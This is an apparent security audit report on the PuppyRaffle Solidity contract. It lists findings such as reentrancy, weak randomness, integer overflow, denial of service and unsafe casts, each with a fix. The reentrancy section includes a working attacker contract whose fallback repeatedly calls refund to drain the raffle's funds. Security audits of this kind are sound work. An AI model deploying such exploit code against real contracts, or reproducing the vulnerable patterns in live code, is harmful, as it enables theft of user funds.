BELLUM GALAXY

Smart Contract Audit Report

General Information

Project Name:
PuppyRaffle
Smart Contract Address:
None
Audit Date:
09/02/2024
Audit Tools Used:

- Slither
- Aderyn
- Formal verification
- Solidity Metrics

Auditors:
Barba

Disclaimer

The Bellum Galaxy team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues Found

Severity	Number of issues found
High	3
Medium	3
Low	0
Info	7
Gas	2
Total	15

Audit Findings

High Severity Vulnerabilities

Reentracy - State variables written after the call

Description:

The `PuppyRaffle::refund` function dows not follow CEI and as result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

Vulnerable Code:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact:

An Attacker can steal all the money on the contract, by calling the refund function in a loop until the value goes to zero.

Proof of Code:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refunds` from their attack contract, draining the contract ballance.

▶ Place this into the PuppyRaffleTest.t.sol file

```
        contract PuppyRaffle{
            ////////////////////
            ///PoC Reentrancy///
            ////////////////////
            function testReentrancyRefund() public {
                address[] memory players = new address[](4);
                players[0] = playerOne;
                players[1] = playerTwo;
                players[2] = playerThree;
                players[3] = playerFour;
                puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

                ReentracyAttacker attackerContract = new
ReentracyAttacker(puppyRaffle);
                address attackUser = makeAddr("attackUser");
                vm.deal(attackUser, 1 ether);
                uint256 startingAttackContractBalance =
address(attackerContract).balance;
                uint256 startingContractBalance = address(puppyRaffle).balance;

                //attack
                vm.prank(attackUser);
                attackerContract.attack{value: entranceFee}();

                console.log("starting attacker contract ballance:",
startingAttackContractBalance);
                console.log("starting contract ballance:",
startingContractBalance);

                console.log("ending attacker contract ballance:",
address(attackerContract).balance);
                console.log("ending contract ballance:",
address(puppyRaffle).balance);
            }
        }
```

```
        contract ReentracyAttacker {
            PuppyRaffle puppyRaffle;
            uint256 entranceFee;
            uint256 attackerIndex;

            constructor(PuppyRaffle _puppyRaffle) {
                puppyRaffle = _puppyRaffle;
                entranceFee = puppyRaffle.entranceFee();
            }

            function attack() public payable {
                address[] memory players = new address[](1);
                players[0] = address(this);
                puppyRaffle.enterRaffle{value: entranceFee}(players);

                attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
                puppyRaffle.refund(attackerIndex);
            }

            function _stealMoney() public {
                if(address(puppyRaffle).balance >= entranceFee) {
                    puppyRaffle.refund(attackerIndex);
                }
            }

            fallback() external payable {
                _stealMoney();
            }

            receive() external payable {
                _stealMoney();
            }
        }
```

Recommendation

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up. We also should:

1. Use CEI as a safety pattern.
2. Use NonReentrant Modifier by OpenZeppelin

```diff
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

==

Vulnerable Randomness Method - Uses a weak PRNG

Description:

Blockchains are deterministic, so this way of drawing winners is inefficient, insecure and can be manipulated. Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together crates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves or predict the winner puppy.

NOTE: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Vulnerable Code:

```
    uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
```

Impact:

Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Code:

1. Validators can know ahead of time the `block.timestamp` or `block.difficulty`and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `PuppyRaffle::selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommendation

Consider using a cryptographically provable random number generator such as Chainlink VRF.

Use Chainlink VRF, Commit Reveal Scheme

`=========================================`

Integer Overflow

Description

In soidity versions priot to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar +1
// myVar will be 0.
```

Vulnerable Code:

Function `PuppyRaffle::selectWinner`

```
totalFees = totalFees + uint64(fee);
```

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are acumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress`may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Code:

1. We conclude a raffle of 4 players
2. we then have 89 players to enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
=
totalFees = 800000000000000000 + 17800000000000000000
//will overflow
totalFees = 153255926290448384
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

▶ Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second
raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommendation

There are a few possible mitigation.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```diff
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium Severity Vulnerabilities

Denial of Service - Attack vector

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make. Function: enterRaffle Line: 85-90

Vulnerable Code:

```
    @>  for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact:

The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Code:

If we have 2 sets of 100 players enter, the gas costs will be as such: 1st 100 players: ~6252039 gas 2nd 100 players: ~18068138 gas This is more than 3x more expensive for the second 100 players.

▶ PoC

~~~~
```javascript
function test_denialOfService() public {
    vm.txGasPrice(1);

    // Let's enter 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for(uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    //see how much gas it takes to enter 100 players
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

    console.log("Gas used to enter 100 players: ", gasUsedFirst);

    //Now for the 2nd 100 players
    address[] memory playersTwo = new address[](playersNum);
    for(uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum);
    }
    //see how much gas it takes to enter 100 players
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);

    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;

    console.log("Gas used to enter 200 players: ", gasUsedSecond);

    assert(gasUsedSecond > gasUsedFirst);
}
```
~~~~

Recommendation

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
.
.
.
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send
enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }
-   //Check for duplicates
+   //Check for duplicates only from the new players
+   for (uint256 i = 0; i < newPlayers.length; i++){
+        require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");
+   }
-   for (uint256 i = 0; i < players.length - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
-       require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-       }
-   }
        emit RaffleEnter(newPlayers);
   }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId +1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
    }
```

3. Alternatively, you could use OpenZeppelin's `Enumerable` library.

==

Unsafe cast of PuppyRaffle::fee

Description:

In `PuppyRaffle::selectWinner` their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

Vulnerable Code:

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact:

This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Code:

- A raffle proceeds with a little more than 18 ETH worth of fees collected
- The line that casts the fee as a uint64 hits
- totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommendation

Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Balance check enables griefers

Description:

The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact:

This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Code:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation:

Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Smart contract wallets can block the start of a new contest.

Description

The `PuppyRaffle::selectWinner`function is responsible for resetting the lottery. However, if the winner is a smart contract that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Vulnerable Code:

```
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
```

Impact

The `PuppyRaffle:selectWinner` function could revert many times, making a lottery reset difficult. Also, tru winners would not get paid out and someone else could take their money.

Proof of Code:

1. 10 Smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even through the lottery is over.

Recommendation

There are a few options to mitigate this issue.

1. Do not allow smart contract wallets entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owners on the winner to claim their prize.

Minor Observations

Operational Logic - First player of the raffle will be consider inactive

Description:

The implemented logic returns 0 if a player isn't on the participants array. However, this has implications because the first player of the raffle is the index 0. So he will incorrectly think that he has not entered the raffle.

Vulnerable Code:

```
    function getActivePlayerIndex(address player) external view returns (uint256)
{
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
@>      return 0;
    }
```

Impact:

The function description says that if a player is inactive, the function will return zero. So, if the first participant try to get his position, he will incorrectly think that he is inactive, and attempting to enter the raffle again, wasting gas.

Proof of Code:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommendation

Remove the return if the player is inactive. Only return to active players.

===

Floating Pragma

Description:

Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results.

https://swcregistry.io/docs/SWC-103/

Vulnerable Code:

```
    pragma solidity ^0.7.6;
```

Recommendation

```diff
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

==

Old version of solidity pragma

Description:

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Vulnerable Code:

```
    pragma solidity ^0.7.6;
```

Recommendation

Deploy with any of the following Solidity versions:

- `0.8.18`

==

Missing `address(0)` checks

Description

Assigning values to address state variables without checking for `address(0)`.

Vulnerable Code:

```
    function changeFeeAddress(address newFeeAddress) external onlyOwner {
+       require(newFeeAddress != address(0), "Enter a valid address");
        feeAddress = newFeeAddress;
        emit FeeAddressChanged(newFeeAddress);
    }
```

Recommendation

Add a verification before assign the variable. See above.

==

CEI Patterns not followed

Description

It's better to follow CEI (Checks, Effects, Interactions).

Vulnerable Code:

```
+       _safeMint(winner, tokenId);
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
-       _safeMint(winner, tokenId);
```

Recommendation

Use CEI. See recommendation above

Use of "magic" numbers is discouraged

Description

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

EXAMPLES

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

Remove Unused Function

Description

The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

Unchanged state variables should be declared constant or immutable

Description

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

==

Looping through storage variables

Description

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength -1 ; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Conclusion

This audit review was able to find critical issues that could cause considerable loss to the developers and protocol participants. In addition, we could propose some improvements that can reduce gas costs considerably.
